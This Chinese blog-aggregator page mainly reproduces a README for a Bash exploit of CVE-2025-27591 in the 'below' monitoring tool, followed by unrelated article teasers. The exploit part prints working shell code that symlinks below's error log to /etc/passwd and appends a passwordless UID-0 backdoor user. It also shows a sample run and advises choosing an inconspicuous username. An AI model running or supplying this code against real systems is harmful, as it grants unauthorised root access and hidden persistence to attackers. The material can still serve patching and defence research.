news 2026/9/2 23:56:09

CVE-2025-27591:利用Below日志符号链接漏洞实现权限提升

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-27591:利用Below日志符号链接漏洞实现权限提升

CVE-2025-27591 Exploit - Below Logger Symlink Attack

项目标题与描述

CVE-2025-27591 Below日志符号链接攻击利用工具

本项目是一个基于Bash的权限提升漏洞利用脚本,专门针对Facebook开发的系统性能监控工具below。该工具利用below在日志记录机制中存在的一个符号链接漏洞(CVE-2025-27591),通过向/etc/passwd文件注入具有root权限的用户条目,从而获取完整的root系统访问权限。

该漏洞由Matthias Gerstney发现并报告给SUSE安全团队。

功能特性

根据代码分析,本利用工具具有以下核心功能:

  • 自动化漏洞检测:自动检查目标系统上/var/log/below日志目录是否全局可写,这是漏洞存在的必要条件。
  • 符号链接创建与管理:自动删除可能存在的旧日志文件,并创建从/var/log/below/error_root.log/etc/passwd的符号链接。
  • 权限提升注入:通过触发below record命令产生错误日志,该日志会被写入符号链接指向的/etc/passwd文件。脚本随后会手动向/etc/passwd文件尾部追加一个精心构造的用户行,该用户具有root权限(UID=0)和空密码,从而实现提权。
  • 智能回退与清理:包含失败重试机制(如below命令不存在时的回退方案),并在利用成功后提供清理已添加用户的指导。
  • 详细流程输出:脚本执行过程中会输出详细的步骤说明、状态检查和利用结果,方便用户了解执行进度。

安装指南

此项目为独立的Bash脚本利用工具,无需复杂的安装过程。

系统要求与依赖项:

  1. 操作系统:基于Linux的系统(因为利用了特定的路径/etc/passwd/var/log/below)。
  2. 目标环境:系统中必须安装了存在漏洞版本的below工具,并且其日志目录/var/log/below的权限设置不当(全局可写)。
  3. 脚本解释器:需要bash环境来执行脚本。
  4. 必要权限:执行脚本的用户需要具备在/var/log/below目录下创建和删除文件的权限(这通常意味着该目录是全局可写的)。
  5. 工具依赖:脚本尝试使用below命令来触发漏洞,并使用了sudouseradd等系统命令进行权限检查和用户管理。

“安装”步骤:
实际上,你只需要获取脚本文件并确保其具有可执行权限即可。

# 1. 克隆或下载脚本文件(假设文件名为 exploit.sh)# 2. 赋予脚本执行权限chmod+x exploit.sh# 3. 在存在漏洞的环境中执行./exploit.sh

重要警告:此脚本仅用于授权下的安全测试、教育和研究目的。在未经许可的系统上使用是非法且不道德的。

使用说明

执行脚本后,它会引导你完成整个利用过程。

  1. 启动脚本:在终端中运行脚本。
  2. 提供用户名:脚本首先会提示你输入一个用于提权的用户名。你可以选择一个不容易被注意到的名字。
  3. 自动化检测与利用:脚本随后会自动执行以下步骤:
    • 检查漏洞存在的条件(日志目录权限)。
    • 创建必要的符号链接。
    • 尝试触发below记录错误。
    • /etc/passwd文件注入具有root权限的用户。
  4. 获取Root Shell:如果利用成功,脚本会显示如何使用新创建的用户通过su命令切换到root权限。
  5. 清理(手动):脚本在最后会提示你,成功提权后需要手动编辑/etc/passwd文件,删除添加的那一行以进行清理。

典型使用场景代码片段提示:

脚本运行后,你会看到类似以下的交互过程(具体输出取决于脚本内容):

$ ./exploit.sh[+]Welcome to the CVE-2025-27591 exploit![?]Please enter your desired backdoor username: testroot[+]Checkingif/var/log/below is world-writable...[+]Directory is vulnerable![+]Removing existing error_root.log...[+]Creating symlink from error_root.log to /etc/passwd...[+]Triggering below record towriteto symlink...[+]Manually injecting user entry into /etc/passwd...[+]Exploit successful!User'testroot'added withUID0.[+]Spawn root shell with:sutestroot[!]Remember to remove the added line from /etc/passwd after exploitation.

核心代码

由于提供的代码片段不完整,无法展示完整的核心代码及其注释。但根据项目描述和功能分析,其核心逻辑主要围绕以下几个关键操作,我们可以用伪代码和说明来概括:

1. 漏洞条件检查

# 检查日志目录是否全局可写,这是攻击的前提if[-w /var/log/below]&&[$(stat-c %a /var/log/below)-ge722];thenecho"[+] Directory is vulnerable!"elseecho"[-] Exploit condition not met. Exiting."exit1fi

2. 创建符号链接

# 移除可能存在的旧日志文件,创建指向/etc/passwd的符号链接rm-f /var/log/below/error_root.logln-s /etc/passwd /var/log/below/error_root.log# 验证链接是否创建成功if[-L /var/log/below/error_root.log];thenecho"[+] Symlink created successfully."fi

3. 触发漏洞并注入用户

# 尝试运行below命令以触发错误日志写入(写入符号链接指向的/etc/passwd)below record2>/dev/null||true# 关键步骤:手动向/etc/passwd文件尾部追加一个root用户条目# 格式:username:password:UID:GID:comment:home:shell# 这里使用“::”表示空密码字段,UID为0表示root权限。echo"$BACKDOOR_USER::0:0::/root:/bin/bash">>/etc/passwdecho"[+] User '$BACKDOOR_USER' injected into /etc/passwd with UID 0."

4. 提权与清理提示

# 提示用户如何使用新创建的用户获得root shellecho"[+] To gain root access, run: su$BACKDOOR_USER"# 在密码提示符下直接按回车(因为密码字段为空)。echo"[!] IMPORTANT: After successful exploitation, manually edit /etc/passwd to remove the line for '$BACKDOOR_USER'."

代码注释要点

  • 实际的脚本应该包含详细的注释,解释每个步骤的目的,例如:“# 创建符号链接,将日志错误重定向到系统密码文件”。
  • 应该包含错误处理,例如检查ln -secho >>命令是否执行成功。
  • 可能包含对below命令是否存在的检查,并提供替代的触发方法(如直接向文件写入特定内容模拟错误日志)。
    6HFtX5dABrKlqXeO5PUv/9bhuFNUCg+u49PD61kHBnrwPPyofXGUNXhJ6l7AddsFDFtkcTtjRSv8RaXpQxzLag==
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/25 8:51:47

基于51/STM32单片机智能分拣系统扫码二维码刷卡识别传送APP设计(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

基于51/STM32单片机智能分拣系统扫码二维码刷卡识别传送APP设计(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码STM32-S128RFID刷卡识别分拣计数信息管理电机传送舵机导向按键声光提醒TFT彩屏(无线方式选择) 产品功能描述&…

作者头像 李华
网站建设 2026/9/2 10:26:29

你还在用==null?Java判空最新标准写法曝光

第一章:你还在用null?Java判空最新标准写法曝光在现代Java开发中,直接使用 null 进行空值判断已逐渐被视为过时且易出错的做法。随着Java生态的演进,更安全、更具表达力的替代方案已被广泛采纳。使用Objects.requireNonNull检查前…

作者头像 李华
网站建设 2026/8/29 9:29:33

彻底搞懂Java字符串判空:从if语句到Optional的演进之路

第一章:Java字符串判空的核心意义与常见误区 在Java开发中,字符串是最常用的数据类型之一,而字符串判空操作则是程序健壮性的基础保障。不正确的判空逻辑可能导致空指针异常(NullPointerException),进而引发…

作者头像 李华
网站建设 2026/8/26 0:53:34

告别无效Debug!飞算JavaAI一键修复器实测:精准排错,高效提效

在Java开发领域,Bug排查与修复始终占据着开发人员大量工作时间,即便经验丰富的开发者,也难免在冗长的报错日志中耗费精力,而新手更是容易陷入“看不懂日志、找不到错误、改不对代码”的困境。为帮助开发者摆脱无效Debug的内耗&…

作者头像 李华
网站建设 2026/9/2 10:34:41

7.2 版本流转:从 Docker Image Tag 视角看制品晋升策略

7.2 版本流转:从 Docker Image Tag 视角看制品晋升策略 1. 引言:Tag 是制品的“身份证” 在云原生时代,Docker 镜像 Tag 不仅仅是版本号,更是制品的“身份证”。它承载着: 来源信息:哪个分支、哪个提交构建的? 环境信息:这个镜像在哪个环境验证过? 质量信息:这个镜…

作者头像 李华
网站建设 2026/9/2 23:55:49

8.2 日志系统选型:Loki vs ELK,谁更适合云原生时代?

8.2 日志系统选型:Loki vs ELK,谁更适合云原生时代? 1. 引言:日志系统的演进 在容器化之前,日志管理相对简单:应用把日志写到文件,运维用 tail -f 查看,或者用 rsyslog 集中收集。 但在 Kubernetes 环境中: Pod 随时可能重启,日志文件会丢失 多个副本的日志混在一…

作者头像 李华